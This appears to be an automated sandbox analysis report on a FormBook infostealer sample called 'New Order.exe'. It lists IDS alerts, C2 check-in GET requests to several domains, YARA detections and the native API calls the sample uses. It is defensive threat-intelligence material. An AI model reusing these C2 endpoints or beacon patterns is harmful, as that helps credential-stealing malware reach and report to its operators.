Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49765 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49765 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49765 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49778 -> 35.209.88.35:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49778 -> 35.209.88.35:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49778 -> 35.209.88.35:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.achainz.com/de52/

Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=q/8Nbvd67YPMVz3o7HcOnLFi8lrYmwA47pjKffLVRoseAGTrTNs7CZxo0gnZJZCgi/pT&Yz=0bpDyT HTTP/1.1Host: www.collectordrive.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=jbY8motXMJXjJrQ4SeyjR+FjRclRi1mJ8dBASwUO8jLWL5/FFIvWjS8rmQthPplPuKqV&Yz=0bpDyT HTTP/1.1Host: www.dietsz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=KfmGdnK98UrOdo4kMnFtb2+M9fToEn1F+Gzo6oV5pCedLQ1HneT9cj2ied9UzRR+PF6A&Yz=0bpDyT HTTP/1.1Host: www.gangju123.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=VjXAIgKfhvF8hRWD/e05oFFe9piey6xRf/uiJW4aXhiEfFySQTYX7BGVKv+i/OP+5wGQ&Yz=0bpDyT HTTP/1.1Host: www.ayanmobile.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=/MwPCQmb8N4Awmw4mMKJPRGOCBQ0FmS8LiYPDqoyki9FgjxxSyxFyKWOR1kxSGqMaJan&Yz=0bpDyT HTTP/1.1Host: www.securenotifications.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=A6XO+ITKnQQbOEvUMrF2CVYLPv45kLd/uv2YdfW9vEZfPW6611dfa85KEkC5Wqh6gBNa&Yz=0bpDyT HTTP/1.1Host: www.cuttingemporium.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=LwTVedL55OWwkv7g5+M8qNIWWWhwOSQTlz2nKf3SzAUgx635MxYM24Oa4PrOeZWczuGU&Yz=0bpDyT HTTP/1.1Host: www.optimismactivism.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=qb+cDyZ+/Kn0EiG8qAwackOr+Z8XD7HPsMVV4+H0Ra088mc2au++kj7rvX/qHs87RHMJ&Yz=0bpDyT HTTP/1.1Host: www.occasionalassistant.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 208.91.197.91 208.91.197.91

Source: Joe Sandbox View	ASN Name: TELECOM-HKHongKongTelecomGlobalDataCentreHK TELECOM-HKHongKongTelecomGlobalDataCentreHK
Source: Joe Sandbox View	ASN Name: CONFLUENCE-NETWORK-INCVG CONFLUENCE-NETWORK-INCVG

Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=q/8Nbvd67YPMVz3o7HcOnLFi8lrYmwA47pjKffLVRoseAGTrTNs7CZxo0gnZJZCgi/pT&Yz=0bpDyT HTTP/1.1Host: www.collectordrive.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=jbY8motXMJXjJrQ4SeyjR+FjRclRi1mJ8dBASwUO8jLWL5/FFIvWjS8rmQthPplPuKqV&Yz=0bpDyT HTTP/1.1Host: www.dietsz.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=KfmGdnK98UrOdo4kMnFtb2+M9fToEn1F+Gzo6oV5pCedLQ1HneT9cj2ied9UzRR+PF6A&Yz=0bpDyT HTTP/1.1Host: www.gangju123.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=VjXAIgKfhvF8hRWD/e05oFFe9piey6xRf/uiJW4aXhiEfFySQTYX7BGVKv+i/OP+5wGQ&Yz=0bpDyT HTTP/1.1Host: www.ayanmobile.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=/MwPCQmb8N4Awmw4mMKJPRGOCBQ0FmS8LiYPDqoyki9FgjxxSyxFyKWOR1kxSGqMaJan&Yz=0bpDyT HTTP/1.1Host: www.securenotifications.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=A6XO+ITKnQQbOEvUMrF2CVYLPv45kLd/uv2YdfW9vEZfPW6611dfa85KEkC5Wqh6gBNa&Yz=0bpDyT HTTP/1.1Host: www.cuttingemporium.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=LwTVedL55OWwkv7g5+M8qNIWWWhwOSQTlz2nKf3SzAUgx635MxYM24Oa4PrOeZWczuGU&Yz=0bpDyT HTTP/1.1Host: www.optimismactivism.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /de52/?z6Ad_8Jp=qb+cDyZ+/Kn0EiG8qAwackOr+Z8XD7HPsMVV4+H0Ra088mc2au++kj7rvX/qHs87RHMJ&Yz=0bpDyT HTTP/1.1Host: www.occasionalassistant.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.collectordrive.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 22 Jun 2021 16:06:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Httpd: 1Host-Header: 6b7412fb82ca5edfd0917e3957f05d89X-Proxy-Cache: MISSX-Proxy-Cache-Info: 0 NC:000000 UP:Data Raw: 31 33 64 38 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 25 37 43 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 7d 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 66 69 74 2d 77 69 64 65 20 7b 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 32 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 36 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 77 72 61 70 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 20 20 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 77 72 61 70 2e 63 6c 6f 75 64 2d 62 6c 75 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 62 30 65 30 65 39 3b

Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: New Order.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: New Order.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000003.00000000.648249693.0000000002B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000003.00000000.662259185.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: wscript.exe, 00000005.00000002.902285037.0000000005AD2000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open

Source: C:\Users\user\Desktop\New Order.exe

Code function: 0_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404FC2

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: New Order.exe

Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_004181C0 NtCreateFile,	2_2_004181C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00418270 NtReadFile,	2_2_00418270
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_004182F0 NtClose,	2_2_004182F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_004183A0 NtAllocateVirtualMemory,	2_2_004183A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_004181BC NtCreateFile,	2_2_004181BC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041826B NtReadFile,	2_2_0041826B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_004182EF NtClose,	2_2_004182EF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_0041839F NtAllocateVirtualMemory,	2_2_0041839F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C298F0 NtReadVirtualMemory,LdrInitializeThunk,	2_2_00C298F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29840 NtDelayExecution,LdrInitializeThunk,	2_2_00C29840
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29860 NtQuerySystemInformation,LdrInitializeThunk,	2_2_00C29860
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C299A0 NtCreateSection,LdrInitializeThunk,	2_2_00C299A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29910 NtAdjustPrivilegesToken,LdrInitializeThunk,	2_2_00C29910
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29A50 NtCreateFile,LdrInitializeThunk,	2_2_00C29A50
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29A00 NtProtectVirtualMemory,LdrInitializeThunk,	2_2_00C29A00
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29A20 NtResumeThread,LdrInitializeThunk,	2_2_00C29A20
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C295D0 NtClose,LdrInitializeThunk,	2_2_00C295D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29540 NtReadFile,LdrInitializeThunk,	2_2_00C29540
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C296E0 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_00C296E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29660 NtAllocateVirtualMemory,LdrInitializeThunk,	2_2_00C29660
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29FE0 NtCreateMutant,LdrInitializeThunk,	2_2_00C29FE0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29780 NtMapViewOfSection,LdrInitializeThunk,	2_2_00C29780
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C297A0 NtUnmapViewOfSection,LdrInitializeThunk,	2_2_00C297A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29710 NtQueryInformationToken,LdrInitializeThunk,	2_2_00C29710
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C298A0 NtWriteVirtualMemory,	2_2_00C298A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C2B040 NtSuspendThread,	2_2_00C2B040
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29820 NtEnumerateKey,	2_2_00C29820
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C299D0 NtCreateProcessEx,	2_2_00C299D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29950 NtQueueApcThread,	2_2_00C29950
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29A80 NtOpenDirectoryObject,	2_2_00C29A80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29A10 NtQuerySection,	2_2_00C29A10
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C2A3B0 NtGetContextThread,	2_2_00C2A3B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29B00 NtSetValueKey,	2_2_00C29B00
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C295F0 NtQueryInformationFile,	2_2_00C295F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29560 NtWriteFile,	2_2_00C29560
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29520 NtWaitForSingleObject,	2_2_00C29520
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C2AD30 NtSetContextThread,	2_2_00C2AD30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C296D0 NtCreateKey,	2_2_00C296D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29650 NtQueryValueKey,	2_2_00C29650
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29670 NtQueryInformationProcess,	2_2_00C29670
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29610 NtEnumerateValueKey,	2_2_00C29610
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29760 NtOpenProcess,	2_2_00C29760
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29770 NtSetInformationFile,	2_2_00C29770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C2A770 NtOpenThread,	2_2_00C2A770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C2A710 NtOpenProcessToken,	2_2_00C2A710
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_2_00C29730 NtQueryVirtualMemory,	2_2_00C29730
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_004181C0 NtCreateFile,	2_1_004181C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_00418270 NtReadFile,	2_1_00418270
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_004182F0 NtClose,	2_1_004182F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_004183A0 NtAllocateVirtualMemory,	2_1_004183A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_004181BC NtCreateFile,	2_1_004181BC
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041826B NtReadFile,	2_1_0041826B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_004182EF NtClose,	2_1_004182EF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 2_1_0041839F NtAllocateVirtualMemory,	2_1_0041839F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489540 NtReadFile,LdrInitializeThunk,	5_2_05489540
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054895D0 NtClose,LdrInitializeThunk,	5_2_054895D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489710 NtQueryInformationToken,LdrInitializeThunk,	5_2_05489710
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489FE0 NtCreateMutant,LdrInitializeThunk,	5_2_05489FE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489780 NtMapViewOfSection,LdrInitializeThunk,	5_2_05489780
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489650 NtQueryValueKey,LdrInitializeThunk,	5_2_05489650
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489660 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_05489660
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054896D0 NtCreateKey,LdrInitializeThunk,	5_2_054896D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054896E0 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_054896E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489910 NtAdjustPrivilegesToken,LdrInitializeThunk,	5_2_05489910
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_054899A0 NtCreateSection,LdrInitializeThunk,	5_2_054899A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489840 NtDelayExecution,LdrInitializeThunk,	5_2_05489840
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 5_2_05489860 NtQuerySystemInformation,LdrInitializeThunk,	5_2_05489860
